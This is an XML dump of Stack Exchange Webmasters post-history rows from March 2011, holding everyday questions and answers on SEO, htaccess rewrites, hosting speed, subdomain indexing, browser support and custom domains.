  <row Id="23725" PostHistoryTypeId="3" PostId="10591" RevisionGUID="3ff888a5-7a4d-498a-a985-4dac043d5f1d" CreationDate="2011-03-13T05:37:22.413" UserId="5858" Text="&lt;htaccess&gt;&lt;joomla&gt;&lt;404&gt;" />
  <row Id="23726" PostHistoryTypeId="2" PostId="10592" RevisionGUID="554f3c53-7579-4735-aad3-663bb2aae060" CreationDate="2011-03-13T00:44:48.350" UserDisplayName="michael" Text="I don't know much about SEO.&#xD;&#xA;I have a csv file with 200,000 links to websites&#xD;&#xA;i want to add another field (or maybe couple of them) to each link in the csv file with page ranking of each link and maybe other interesting metrics and info about the link.&#xD;&#xA;&#xD;&#xA;I saw a free API from http://apiwiki.seomoz.org/ i can maybe use to build a simple script, but it's limited to 3 links for second which will roughly take 1100 minutes or 18 hours to run&#xD;&#xA;&#xD;&#xA;any other ideas how to get this kind of simple metrics about each link ?&#xD;&#xA;&#xD;&#xA;thanks !" />
  <row Id="23727" PostHistoryTypeId="1" PostId="10592" RevisionGUID="554f3c53-7579-4735-aad3-663bb2aae060" CreationDate="2011-03-13T00:44:48.350" UserDisplayName="michael" Text="SEO question, getting info about websites" />
  <row Id="23728" PostHistoryTypeId="3" PostId="10592" RevisionGUID="554f3c53-7579-4735-aad3-663bb2aae060" CreationDate="2011-03-13T00:44:48.350" UserDisplayName="michael" Text="&lt;api&gt;&lt;seo&gt;&lt;links&gt;" />
  <row Id="23729" PostHistoryTypeId="17" PostId="10592" RevisionGUID="14b5586a-2336-4974-88d3-ddcccb04c690" CreationDate="2011-03-13T06:30:47.987" UserId="-1" Comment="from http://stackoverflow.com/questions/5286660/seo-question-getting-info-about-websites" Text="" />
  <row Id="23730" PostHistoryTypeId="2" PostId="10593" RevisionGUID="2be608bb-560a-4a7c-9d1b-87256e88ce3a" CreationDate="2011-03-13T07:18:01.960" UserId="5718" Text="I tried it out and got the same problem. There doesn't appear to be a way to retrieve the username. I guess you'll have to contact Google about it http://www.google.com/support/a/bin/static.py?page=contacting_support.html" />
  <row Id="23731" PostHistoryTypeId="2" PostId="10594" RevisionGUID="54ae285a-a4f3-40fb-904f-8f33f912db62" CreationDate="2011-03-13T07:35:47.117" UserId="5718" Text="Amazon has opened up the Alexa data as a service http://aws.amazon.com/awis/" />
  <row Id="23732" PostHistoryTypeId="25" PostId="10591" RevisionGUID="1821887e-1ce9-4cc9-876e-1c974a44e9a3" CreationDate="2011-03-13T08:23:36.397" Comment="http://twitter.com/#!/StackWebmasters/status/46848872005378048" />
  <row Id="23733" PostHistoryTypeId="2" PostId="10595" RevisionGUID="0d065478-e766-47d4-a2c8-8fda3c1f8929" CreationDate="2011-03-13T08:25:23.790" UserId="6059" Text="Has any one sued Website Panel? Does it affect sites all ready running under IIS?" />
  <row Id="23734" PostHistoryTypeId="1" PostId="10595" RevisionGUID="0d065478-e766-47d4-a2c8-8fda3c1f8929" CreationDate="2011-03-13T08:25:23.790" UserId="6059" Text="Website Panel does it affect existing sites?" />
  <row Id="23735" PostHistoryTypeId="3" PostId="10595" RevisionGUID="0d065478-e766-47d4-a2c8-8fda3c1f8929" CreationDate="2011-03-13T08:25:23.790" UserId="6059" Text="&lt;web-hosting&gt;&lt;iis&gt;" />
  <row Id="23737" PostHistoryTypeId="2" PostId="10596" RevisionGUID="04024ece-2ed0-4131-ac37-cb43ed504f7c" CreationDate="2011-03-13T10:01:36.347" UserId="6061" Text="Why Opera browser is less supported by web sites than IE, FF and Chrome? &#xD;&#xA;&#xD;&#xA;IE understanding, but why less than FF and even Chrome?" />
  <row Id="23738" PostHistoryTypeId="1" PostId="10596" RevisionGUID="04024ece-2ed0-4131-ac37-cb43ed504f7c" CreationDate="2011-03-13T10:01:36.347" UserId="6061" Text="Why Opera browser is less supported than IE, FF and Chrome?" />
  <row Id="23739" PostHistoryTypeId="3" PostId="10596" RevisionGUID="04024ece-2ed0-4131-ac37-cb43ed504f7c" CreationDate="2011-03-13T10:01:36.347" UserId="6061" Text="&lt;internet-explorer&gt;&lt;firefox&gt;&lt;chrome&gt;" />
  <row Id="23740" PostHistoryTypeId="2" PostId="10597" RevisionGUID="ea97ad5a-23ea-4539-9aff-05ae2cc6eeaa" CreationDate="2011-03-13T11:00:30.330" UserId="6062" Text="Opera's market share is even lower than that of Chrome. So many people find it unnecessary to make sure their website works well with Opera.&#xD;&#xA;&#xD;&#xA;In my experience, however, Opera is doing a pretty good job in terms of compatibility." />
  <row Id="23741" PostHistoryTypeId="2" PostId="10598" RevisionGUID="ffd7c8a3-fb18-43f7-8613-fb3db56a089a" CreationDate="2011-03-13T11:15:57.627" UserId="1064" Text="Take a look at [`mod_access`][1] - from your description of what you need, an IP whitelist should be sufficient.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://httpd.apache.org/docs/2.0/mod/mod_access.html" />
  <row Id="23742" PostHistoryTypeId="25" PostId="10596" RevisionGUID="5176f437-b700-40b4-864f-31453a84543b" CreationDate="2011-03-13T11:23:37.083" Comment="http://twitter.com/#!/StackWebmasters/status/46894174456393728" />
  <row Id="23746" PostHistoryTypeId="2" PostId="10600" RevisionGUID="51d12be9-a872-42bd-a354-43f4325c9359" CreationDate="2011-03-13T12:17:38.930" UserDisplayName="pjiorwierjog" Text="I was wondering if there are any subscription cms's out there which provide good functionality?&#xD;&#xA;&#xD;&#xA;I am looking to have a site which has different levels of users such as bronze,silver,gold. They will then be able to access specific content on the site. So articles and videos which are only accessible to certain members.&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="23747" PostHistoryTypeId="1" PostId="10600" RevisionGUID="51d12be9-a872-42bd-a354-43f4325c9359" CreationDate="2011-03-13T12:17:38.930" UserDisplayName="pjiorwierjog" Text="Subscription Site CMS" />
  <row Id="23748" PostHistoryTypeId="3" PostId="10600" RevisionGUID="51d12be9-a872-42bd-a354-43f4325c9359" CreationDate="2011-03-13T12:17:38.930" UserDisplayName="pjiorwierjog" Text="&lt;cms&gt;" />
  <row Id="23749" PostHistoryTypeId="17" PostId="10600" RevisionGUID="5d826955-d9a0-4459-a4ac-03f9af090a67" CreationDate="2011-03-13T13:44:07.520" UserId="-1" Comment="from http://stackoverflow.com/questions/5289279/subscription-site-cms" Text="" />
  <row Id="23750" PostHistoryTypeId="17" PostId="10602" RevisionGUID="287316a4-6f53-42bb-8cad-433a0a0bdcd3" CreationDate="2011-03-13T14:19:03.850" UserId="-1" Comment="from http://stackoverflow.com/questions/5271193/dns-hosting-question/5271246#5271246" Text="" />
  <row Id="23751" PostHistoryTypeId="2" PostId="10602" RevisionGUID="224af24f-740c-4328-9d6d-3e90b7783932" CreationDate="2011-03-11T09:40:19.713" UserDisplayName="Sebastian Zaklada" Text="Does [this][1] answer your question?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/a/bin/answer.py?answer=48090" />
  <row Id="23752" PostHistoryTypeId="2" PostId="10601" RevisionGUID="252334a4-f013-4f1d-90d5-84a75afad530" CreationDate="2011-03-11T09:34:44.997" UserDisplayName="ArthurD42" Text="I'm new to dns hosting and I have recently setup google apps for the 'mail.' cname record.&#xD;&#xA;&#xD;&#xA;How can I use it to display files on the www URL? ie: 'www.' cname.&#xD;&#xA;Or is it not possible to upload files using dns hosting only?&#xD;&#xA;&#xD;&#xA;I also have hosting elsewhere and wanted to know if I could forward the www cname to a subdirectory on that server, but not displaying the subdirectory URL publicly, rather the address bar constantly remains as the dns hosted (original) domain?&#xD;&#xA;&#xD;&#xA;Thank you!" />
  <row Id="23753" PostHistoryTypeId="1" PostId="10601" RevisionGUID="252334a4-f013-4f1d-90d5-84a75afad530" CreationDate="2011-03-11T09:34:44.997" UserDisplayName="ArthurD42" Text="Dns hosting question" />
  <row Id="23754" PostHistoryTypeId="3" PostId="10601" RevisionGUID="252334a4-f013-4f1d-90d5-84a75afad530" CreationDate="2011-03-11T09:34:44.997" UserDisplayName="ArthurD42" Text="&lt;web-hosting&gt;&lt;dns&gt;" />
  <row Id="23755" PostHistoryTypeId="17" PostId="10601" RevisionGUID="57f027c9-0914-4702-95fd-ff15a921ebf4" CreationDate="2011-03-13T14:19:03.850" UserId="-1" Comment="from http://stackoverflow.com/questions/5271193/dns-hosting-question" Text="" />
  <row Id="23757" PostHistoryTypeId="2" PostId="10603" RevisionGUID="fff5eea0-d041-492b-bfad-7d0215fdb9fe" CreationDate="2011-03-13T14:25:49.350" UserId="6009" Text=" &#xD;&#xA;down vote &#xD;&#xA;favorite  Hello ,&#xD;&#xA;&#xD;&#xA;i have link with this format :&#xD;&#xA;&#xD;&#xA;    http://site.com/news/view/1.html&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;i want change it to :&#xD;&#xA;&#xD;&#xA;    http://site.com/خبر/عنوان-الخبر&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;which خبر is equal &quot;news&quot;&#xD;&#xA;&#xD;&#xA;and &quot;عنوان-الخبر&quot; equal title of news page &#xD;&#xA;&#xD;&#xA;i want do it by .htaccess and at the same time i want save old urls by redirect it by 301 &#xD;&#xA;&#xD;&#xA;and i want know if i need to do any edits in php files for news ?&#xD;&#xA;&#xD;&#xA;Regardes ,&#xD;&#xA; " />
  <row Id="23758" PostHistoryTypeId="1" PostId="10603" RevisionGUID="fff5eea0-d041-492b-bfad-7d0215fdb9fe" CreationDate="2011-03-13T14:25:49.350" UserId="6009" Text="help to format url in arabic language instead of english language" />
  <row Id="23759" PostHistoryTypeId="3" PostId="10603" RevisionGUID="fff5eea0-d041-492b-bfad-7d0215fdb9fe" CreationDate="2011-03-13T14:25:49.350" UserId="6009" Text="&lt;php&gt;&lt;htaccess&gt;&lt;url&gt;&lt;mod-rewrite&gt;" />
  <row Id="23760" PostHistoryTypeId="5" PostId="10595" RevisionGUID="ca96ee4a-b92b-41ac-936f-37bf3bf556b5" CreationDate="2011-03-13T14:38:27.280" UserId="1253" Comment="changed spelling error which had a big effect on the meaning of the question" Text="Has any one used Website Panel? Does it affect sites all ready running under IIS?" />
  <row Id="23761" PostHistoryTypeId="6" PostId="10595" RevisionGUID="ca96ee4a-b92b-41ac-936f-37bf3bf556b5" CreationDate="2011-03-13T14:38:27.280" UserId="1253" Comment="changed spelling error which had a big effect on the meaning of the question" Text="&lt;web-hosting&gt;&lt;iis&gt;&lt;website-panel&gt;" />
  <row Id="23762" PostHistoryTypeId="2" PostId="10604" RevisionGUID="f7d051b0-65db-4918-a55d-7afdd3379c89" CreationDate="2011-03-13T15:07:23.287" UserDisplayName="Pyjammez" Text="I have www.localo.org hosted on a BlueHost server in USA but I am in Australia and it is INCREDIBLY SLOW!&#xD;&#xA;&#xD;&#xA;I uploaded it to a Crazy Domains server in Australia and it ran flawlessly. &#xD;&#xA;&#xD;&#xA;I don't want to have a separate server in every country, so what do I need to do to make it based in USA but run smoothly in distant countries? " />
  <row Id="23763" PostHistoryTypeId="1" PostId="10604" RevisionGUID="f7d051b0-65db-4918-a55d-7afdd3379c89" CreationDate="2011-03-13T15:07:23.287" UserDisplayName="Pyjammez" Text="How can I make my web application faster in Australia when it is hosted in USA" />
  <row Id="23764" PostHistoryTypeId="3" PostId="10604" RevisionGUID="f7d051b0-65db-4918-a55d-7afdd3379c89" CreationDate="2011-03-13T15:07:23.287" UserDisplayName="Pyjammez" Text="&lt;web-hosting&gt;&lt;php&gt;&lt;mysql&gt;" />
  <row Id="23765" PostHistoryTypeId="17" PostId="10604" RevisionGUID="9fd14780-42a8-4356-9623-9889440df940" CreationDate="2011-03-13T15:17:19.383" UserId="-1" Comment="from http://webapps.stackexchange.com/questions/13459/how-can-i-make-my-web-application-faster-in-australia-when-it-is-hosted-in-usa" Text="" />
  <row Id="23766" PostHistoryTypeId="2" PostId="10605" RevisionGUID="de1e9b8a-6870-45f2-ae1b-28d83d4ac1c9" CreationDate="2011-03-13T16:07:44.843" UserId="5954" Text="To begin with, move static resources (images, css, js) to a server in Australia and keep the rest of your application in US. Since the majority of your webpage is going to be static resources, this is going to give you a significant improvement in response time. &#xD;&#xA;&#xD;&#xA;If you can afford it, use a Content Delivery Network that has a presence in Australia. If you cannot afford one, use a regular hosting provider to host your files in Australia, and then switch between the two data centers using [Any cast DNS][1]. An ever cheaper solution is to determine the location based on ip address, and then use either http://us.mydomain.tld/image.jpg or http://au.mydomain.tld/image.jpg -- but this is obviously slower than the anycast DNS.&#xD;&#xA;&#xD;&#xA;If the application is still slower, you will have to create a replica of your entire application in Australia, and that becomes a lot more expensive because you have to start replicating databases and deal with data synchronization.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Anycast" />
  <row Id="23767" PostHistoryTypeId="2" PostId="10606" RevisionGUID="e74ebd24-a573-4316-adef-38acd5765549" CreationDate="2011-03-13T16:53:03.067" UserDisplayName="fudge" Text="I have a domain, let's call it example.com, which has a subdomain, games.example.com. I maintain a games forum using phpbbseo which is located at games.example.com/forum. The problem is that the forum is not being crawled. I used Google's webmaster tools and tested that the page is seen by google. &#xD;&#xA;&#xD;&#xA;P.S. &#xD;&#xA;&#xD;&#xA;There is a link from games.example.com to games.example.com/forum. &#xD;&#xA;&#xD;&#xA;What can I do? How can I make google crawl my forum?" />
  <row Id="23768" PostHistoryTypeId="1" PostId="10606" RevisionGUID="e74ebd24-a573-4316-adef-38acd5765549" CreationDate="2011-03-13T16:53:03.067" UserDisplayName="fudge" Text="Google doesn't index a subdomain. What can be the problem and what can be done?" />
  <row Id="23769" PostHistoryTypeId="3" PostId="10606" RevisionGUID="e74ebd24-a573-4316-adef-38acd5765549" CreationDate="2011-03-13T16:53:03.067" UserDisplayName="fudge" Text="&lt;google&gt;&lt;subdomain&gt;&lt;forum&gt;&lt;phpbb&gt;" />
  <row Id="23770" PostHistoryTypeId="17" PostId="10606" RevisionGUID="775aebf5-d007-4f40-a86d-08ffbe1376ea" CreationDate="2011-03-13T16:56:12.170" UserId="-1" Comment="from http://stackoverflow.com/questions/5290852/google-doesnt-index-a-subdomain-what-can-be-the-problem-and-what-can-be-done" Text="" />
  <row Id="23771" PostHistoryTypeId="2" PostId="10607" RevisionGUID="055ec748-82b7-4b0c-af91-7a451188162a" CreationDate="2011-03-13T17:01:33.300" UserId="4350" Text="http://www.robotstxt.org/ - Google will request the robots.txt file before trying to index any page within your site. And make sure you don't have a bit like &quot;meta name=&quot;robots&quot; content=&quot;noindex, nofollow&quot;&quot; else Google will ignore your page.&#xD;&#xA;&#xD;&#xA;Google will index subdomains if you link to them from your main domain, but if your site is new, it will take time for Google to index everything." />
  <row Id="23772" PostHistoryTypeId="2" PostId="10608" RevisionGUID="71f1a456-e5fa-43e9-816e-641ad07d3a06" CreationDate="2011-03-13T17:16:31.923" UserId="210" Text="You could try [adding a sitemap][1] to games.example.com that includes some of the main pages from the forum. Also refer to it in your robots.txt, like:&#xD;&#xA;&#xD;&#xA;     Sitemap:http://games.example.com/sitemap.xml&#xD;&#xA;&#xD;&#xA;Also, Google doesn't have a problem with your subdomain, but because it's indexing games.example.com. It's either not seeing the forum or not wanting to index it for some reason.&#xD;&#xA;&#xD;&#xA;Also, make sure the link to the forum doesn't have a rel=&quot;nofollow&quot; on it.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/webmasters/bin/answer.py?hl=en&amp;answer=156184&amp;from=40318&amp;rd=1" />
  <row Id="23773" PostHistoryTypeId="25" PostId="10604" RevisionGUID="755a884d-6821-4c6b-9821-819d36078a0d" CreationDate="2011-03-13T17:23:36.773" Comment="http://twitter.com/#!/StackWebmasters/status/46984769879285760" />
  <row Id="23774" PostHistoryTypeId="2" PostId="10609" RevisionGUID="7eb05320-16cd-4fad-824a-f1656c9f784d" CreationDate="2011-03-13T17:32:55.617" UserId="210" Text="You can probably make your website faster by doing some general optimization. Here are some tips from Yahoo: http://developer.yahoo.com/performance/rules.html&#xD;&#xA;&#xD;&#xA;Just glancing at your website, here is what I would recommend:&#xD;&#xA;&#xD;&#xA; - it doesn't look like your PHP/HTML is being GZIPed, although your server can send GZIP content -- this will reduce your HTML that needs to be transfered by at least 50%, probably 75%&#xD;&#xA; - move at least jQuery to Google's CDN, this will reduce a request that has to be made to your server; if you can, also move jQuery UI there&#xD;&#xA; - move all of your JS includes to the bottom of the page so the page appears faster&#xD;&#xA; - piwik is actually blocking the loading of the page; try to find a way to load it asynchronously&#xD;&#xA; - consider as much of the inline JS to a separate file so it can be cached; this will also make your HTML smaller&#xD;&#xA;&#xD;&#xA;Also, I'm in Canada and it takes just about a second to load the HTML alone. It looks like most of this is waiting for the server. So my recommendation is to find a faster server as I think most of the slowness you're finding is because of the server, although it could also be because of the way the site is coded (PHP)." />
  <row Id="23775" PostHistoryTypeId="2" PostId="10610" RevisionGUID="f98a7aa2-d6d2-4357-9377-58823eabacd2" CreationDate="2011-03-13T17:37:25.693" UserId="210" Text="No, you won't be able to host files at your DNS server. It's only meant to point browsers (or whatever else) to a server where the files are hosted.&#xD;&#xA;&#xD;&#xA;If you want www.example.com to point to www.domain.com/folder/path then you could use something like [ZoneEdit's webfoward][1]. It allows you to point any CNAME at a web URL and cloak it so users don't see it. But just a word of warning, I've tried this before and it hasn't always worked. Another option is to run a script (like PHP) that includes the files from the other address, although this could get complicated depending on how many files you're needing to redirect to.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://zoneedit.com/webforward.html" />
  <row Id="23779" PostHistoryTypeId="2" PostId="10612" RevisionGUID="0a257086-39bb-4152-bd13-466035ac896c" CreationDate="2011-03-13T17:49:29.320" UserId="210" Text="It all depends on what part of the world. Overall, yes Opera is the least used browser, but there are places like the Ukraine and Belarus, it's the most used browser. You can see some stats here: http://gs.statcounter.com/&#xD;&#xA;&#xD;&#xA;Also, Opera is used a lot on mobile and console devices because of their compression services.&#xD;&#xA;&#xD;&#xA;In my opinion, I think the 2 biggest reasons it's not used a lot is because it used to be paid (while everything else was free or included) and they haven't put as much into advertising. Although, it's funny because it's often been the first to add features, like tabs, speed dial and a blazing fast JavaScript engine and everyone else pretty much copies them. Oh well, still love it and use it all the time because other browsers just don't make browsing as fast (like no ctrl or alt tab through tabs in any of the others)." />
  <row Id="23780" PostHistoryTypeId="2" PostId="10613" RevisionGUID="006ee987-b4d6-4c0f-b4ab-2c624534d787" CreationDate="2011-03-13T17:50:54.153" UserId="6066" Text=" One of the free ones that has great functionality that is always being added to is Wordpress.  Wordpress allows different users with different access to areas.  A little PHP can customize it even further as well.&#xD;&#xA;&#xD;&#xA;Its fairly simple to install and customize and will continue to add great new features...that would be my recommendation.&#xD;&#xA;&#xD;&#xA;Wordpress.org and you can download the code.&#xD;&#xA;&#xD;&#xA;Kevin" />
  <row Id="23783" PostHistoryTypeId="25" PostId="10606" RevisionGUID="7196d5d1-44ce-4dad-ba37-903e36c87527" CreationDate="2011-03-13T20:23:37.353" Comment="http://twitter.com/#!/StackWebmasters/status/47030070329622528" />
  <row Id="23784" PostHistoryTypeId="2" PostId="10614" RevisionGUID="0848a0a2-21a3-4796-8844-957eef2eee17" CreationDate="2011-03-13T22:39:25.137" UserId="5794" Text="If a website works in Firefox 4 and in Google Chrome 10, what could potentially cause that website *not to work* (broken layout or broken JavaScript) in IE9? What limitations and differences does IE9 have, aside from vendor-specific stylesheet rules?&#xD;&#xA;&#xD;&#xA;*Yes, that is a painfully vague question* — that's because I am not asking this question from the perspective of someone with a specific problem! I'm asking this question from the perspective of someone with a working website who does not have access to IE9. " />
  <row Id="23785" PostHistoryTypeId="1" PostId="10614" RevisionGUID="0848a0a2-21a3-4796-8844-957eef2eee17" CreationDate="2011-03-13T22:39:25.137" UserId="5794" Text="Compared to Firefox 4 and Google Chrome 10, what can't IE9 do?" />
  <row Id="23786" PostHistoryTypeId="3" PostId="10614" RevisionGUID="0848a0a2-21a3-4796-8844-957eef2eee17" CreationDate="2011-03-13T22:39:25.137" UserId="5794" Text="&lt;internet-explorer&gt;&lt;cross-browser&gt;" />
  <row Id="23787" PostHistoryTypeId="2" PostId="10615" RevisionGUID="d0cc4d00-b4c4-4c23-acae-5a483c01c3fc" CreationDate="2011-03-13T22:57:30.570" UserId="1064" Text="See [Quirksmode.com's Compatibility Master Table][1] (and related comparison tables) for examples of IE9's &quot;quirky&quot; interpretations of X/HTML and CSS.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.quirksmode.org/compatibility.html" />
  <row Id="23788" PostHistoryTypeId="2" PostId="10616" RevisionGUID="42eb9d26-2ea3-477a-b9ef-2a821baeebf6" CreationDate="2011-03-13T23:07:42.460" UserId="5148" Text="Have you checked the site with a link checker? (xenu, a1 website analyzer or whatever. At least a1wa obeys nofollow, noindex and robots.txt - not 100% sure about xenu)" />
  <row Id="23789" PostHistoryTypeId="25" PostId="10614" RevisionGUID="e2c3fd3b-727a-4e75-8412-05e3143080dc" CreationDate="2011-03-13T23:23:37.533" Comment="http://twitter.com/#!/StackWebmasters/status/47075369974636544" />
  <row Id="23792" PostHistoryTypeId="2" PostId="10617" RevisionGUID="d8f0735b-0645-45f7-9cc9-215df1fdb433" CreationDate="2011-03-14T01:27:59.907" UserId="5185" Text="Is there a website or software I can use to easily make web 2.0 buttons?  I really like this:  https://github.com/imathis/fancy-buttons, but it's only for Ruby.&#xD;&#xA;&#xD;&#xA;Every time I design a new website, I need to go into Firefox and tediously create the buttons by hand.  Surely someone out there must have come up with an easy way of making new web buttons." />
  <row Id="23793" PostHistoryTypeId="1" PostId="10617" RevisionGUID="d8f0735b-0645-45f7-9cc9-215df1fdb433" CreationDate="2011-03-14T01:27:59.907" UserId="5185" Text="How can I easily create web 2.0 buttons?" />
  <row Id="23794" PostHistoryTypeId="3" PostId="10617" RevisionGUID="d8f0735b-0645-45f7-9cc9-215df1fdb433" CreationDate="2011-03-14T01:27:59.907" UserId="5185" Text="&lt;graphics&gt;" />
  <row Id="23795" PostHistoryTypeId="2" PostId="10618" RevisionGUID="3f8f5f58-1820-455a-9f8a-d37093e69236" CreationDate="2011-03-14T02:11:21.883" UserId="6043" Text="Try this: http://jirox.net/AsButtonGen/ It's an in-browser Flash application that lets you create Web 2.0 buttons and export them as PNG files." />
  <row Id="23796" PostHistoryTypeId="2" PostId="10619" RevisionGUID="3cefbe4a-a0ce-4a9d-9eb1-0fc7843c2404" CreationDate="2011-03-14T02:22:22.983" UserId="1757" Text="I don't know what this has to do with web 2.0, but CSS buttons are fairly straightforward to make. (That's their advantage over image buttons.) Just design the style for a single button and apply to all buttons of that class. If you want to use the same style of buttons across multiple sites, just copy and paste the code and change the colors. Unless you have a hundred different button styles, it shouldn't take you more than a minute or two. &#xD;&#xA;&#xD;&#xA;No script is going to be able to automatically determine what style or color of buttons best suits your layout. So you'll still need to pick the colors yourself. I'm not sure how a script will speed that up.&#xD;&#xA;&#xD;&#xA;And why are you designing buttons in *Firefox* anyway? It's a lot easier to pick out colors (and button style) in a real graphics program while you're designing the layout and just copy and paste the color code into the stylesheet." />
  <row Id="23797" PostHistoryTypeId="25" PostId="10617" RevisionGUID="0ec474b2-9be9-4a2a-b74d-1e3824ed3a50" CreationDate="2011-03-14T02:23:38.033" Comment="http://twitter.com/#!/StackWebmasters/status/47120669896478720" />
  <row Id="23798" PostHistoryTypeId="2" PostId="10620" RevisionGUID="d6665ed8-6e24-4e6b-9722-d45de00d9617" CreationDate="2011-03-14T03:38:34.527" UserId="6067" Text="I have seen that yahoo now enables their users to import facebook friend's email addresses into their yahoo addressbook. As far as i know, facebook doesn't allow any API to fetch email addresses of any user on external websites. I have also seen that Yahoo imports email addresses only when the friend's have chosen not to display their contact email to themselves only. Many people in the world trying to implement applications using facebook's API to import email addresses of friend's (Only those email addresses which are visible on user's facebook profile) but API calls always return NULL to their requests. So i would like to know what exactly happened between facebook and yahoo? Does facebook have provided any concessions to Yahoo's addressbook importer application to import facebook user's email addresses? Is there any working API/method/way available to fetch email addresses of facebook friends who have chosen to display their contact email ids on their profile with 1: only visible to friends, 2: visible to everyone privacy settings? I have also seen that, facebook API page clearly listen that email/contact_email field's can be fetched using FQL. Nevertheless there is no official explanation on this issue of returning NULL when email/contact_email is requested from any API call.&#xD;&#xA;&#xD;&#xA;Regards" />
  <row Id="23799" PostHistoryTypeId="1" PostId="10620" RevisionGUID="d6665ed8-6e24-4e6b-9722-d45de00d9617" CreationDate="2011-03-14T03:38:34.527" UserId="6067" Text="Facebook connect And Yahoo.. How and what exactly happened? Is there way to import facebook friend's email id?" />
  <row Id="23800" PostHistoryTypeId="3" PostId="10620" RevisionGUID="d6665ed8-6e24-4e6b-9722-d45de00d9617" CreationDate="2011-03-14T03:38:34.527" UserId="6067" Text="&lt;facebook&gt;" />
  <row Id="23801" PostHistoryTypeId="2" PostId="10621" RevisionGUID="d05bc0da-75e9-4c57-b57b-9d18d1cc6afc" CreationDate="2011-03-14T03:56:49.767" UserId="1253" Text=" 1. IE lags behind in support for CSS3 (CSS3 Transitions, text-shadow, CSS3 Gradients, border-image, columns)&#xD;&#xA; 2. IE lags behind in support for SVG (SVG Filters)&#xD;&#xA; 3. Doesn't support Web Workers&#xD;&#xA; 4. Doesn't support drag-and-drop &#xD;&#xA; 5. Doesn't support SVG animations &#xD;&#xA; 6. Doesn't support the File API&#xD;&#xA; 7. Doesn't support Geolocation (I think)&#xD;&#xA; 8. Doesn't support HTML5 Forms&#xD;&#xA; 9. WebGL&#xD;&#xA; 10. MathML&#xD;&#xA;&#xD;&#xA;Some of these won't cause layouts to break unless you obviously decide to use them. But if you stick with conservative markup and functionality none of these will cause you any issues out of the box." />
  <row Id="23802" PostHistoryTypeId="5" PostId="10621" RevisionGUID="6f4a84e4-19de-4438-a527-6bf794d4defa" CreationDate="2011-03-14T04:26:53.833" UserId="1253" Comment="edited body" Text=" 1. IE lags behind in support for CSS3 (CSS3 Transitions, text-shadow, CSS3 Gradients, border-image, columns)&#xD;&#xA; 2. IE lags behind in support for SVG (SVG Filters)&#xD;&#xA; 3. Doesn't support Web Workers&#xD;&#xA; 4. Doesn't support drag-and-drop &#xD;&#xA; 5. Doesn't support SVG animations &#xD;&#xA; 6. Doesn't support the File API&#xD;&#xA; 7. Doesn't support Geolocation (I think)&#xD;&#xA; 8. Doesn't support HTML5 Forms&#xD;&#xA; 9. WebGL&#xD;&#xA; 10. MathML&#xD;&#xA;&#xD;&#xA;None of these won't cause layouts to break unless you obviously decide to use them. But if you stick with conservative markup and functionality none of these will cause you any issues out of the box." />
  <row Id="23803" PostHistoryTypeId="25" PostId="10620" RevisionGUID="68a8d523-4b30-4bd2-897c-5390ce4e0793" CreationDate="2011-03-14T05:23:37.690" Comment="http://twitter.com/#!/StackWebmasters/status/47165967909912577" />
  <row Id="23805" PostHistoryTypeId="2" PostId="10623" RevisionGUID="7d3a7fe4-cbb7-45ed-8a9c-68136d81588e" CreationDate="2011-03-14T06:26:31.620" UserId="5332" Text="would like know your opinion about using&#xD;&#xA;&#xD;&#xA;Pragma header &#xD;&#xA;when script is called in HTTP version 1.1&#xD;&#xA;&#xD;&#xA;I don't know is good to return&#xD;&#xA;both Pragma and Cache-Control&#xD;&#xA;&#xD;&#xA;or rather return only Cache-Control&#xD;&#xA;&#xD;&#xA;and at HTTP 1.0 return only Pragma ???" />
  <row Id="23806" PostHistoryTypeId="1" PostId="10623" RevisionGUID="7d3a7fe4-cbb7-45ed-8a9c-68136d81588e" CreationDate="2011-03-14T06:26:31.620" UserId="5332" Text="Using Pragma header on HTTP 1.1" />
  <row Id="23807" PostHistoryTypeId="3" PostId="10623" RevisionGUID="7d3a7fe4-cbb7-45ed-8a9c-68136d81588e" CreationDate="2011-03-14T06:26:31.620" UserId="5332" Text="&lt;php&gt;&lt;http-headers&gt;" />
  <row Id="23808" PostHistoryTypeId="2" PostId="10624" RevisionGUID="08c86448-abc7-47da-b8bb-5e93ac1b862b" CreationDate="2011-03-14T07:33:36.240" UserId="6068" Text="Which is the best source to get the free website template, royalty free?" />
  <row Id="23809" PostHistoryTypeId="1" PostId="10624" RevisionGUID="08c86448-abc7-47da-b8bb-5e93ac1b862b" CreationDate="2011-03-14T07:33:36.240" UserId="6068" Text="Royalty free templates for website" />
  <row Id="23810" PostHistoryTypeId="3" PostId="10624" RevisionGUID="08c86448-abc7-47da-b8bb-5e93ac1b862b" CreationDate="2011-03-14T07:33:36.240" UserId="6068" Text="&lt;website-design&gt;&lt;websites&gt;&lt;free&gt;&lt;template&gt;" />
  <row Id="23811" PostHistoryTypeId="2" PostId="10625" RevisionGUID="9033303d-408b-44aa-8a01-77a35248c533" CreationDate="2011-03-14T07:34:04.667" UserDisplayName="Scott" Text="I am thinking of running a self-site builder. But was wondering how would I allow customers to use their own domains that they already own.&#xD;&#xA;&#xD;&#xA;Is that even possible?&#xD;&#xA;&#xD;&#xA;Let's say my site is www.bestsitebuildingwebsite.com and each customer has urls like this&#xD;&#xA;&#xD;&#xA;www.bestsitebuildingwebsite.com/frances&#xD;&#xA;www.bestsitebuildingwebsite.com/eden&#xD;&#xA;www.bestsitebuildingwebsite.com/john&#xD;&#xA;&#xD;&#xA;And a customer has a domain called widgets.com&#xD;&#xA;&#xD;&#xA;Is it actually possible domain widgets.com to go to my site somehow and have HASHES on the URL still work (my site makes use of hashes for AJAX queries). And their site still have good SEO with Google?&#xD;&#xA;&#xD;&#xA;Thanks&#xD;&#xA;Scott" />
  <row Id="23812" PostHistoryTypeId="1" PostId="10625" RevisionGUID="9033303d-408b-44aa-8a01-77a35248c533" CreationDate="2011-03-14T07:34:04.667" UserDisplayName="Scott" Text="How to enable customers to use their own domain for sites hosted by me" />
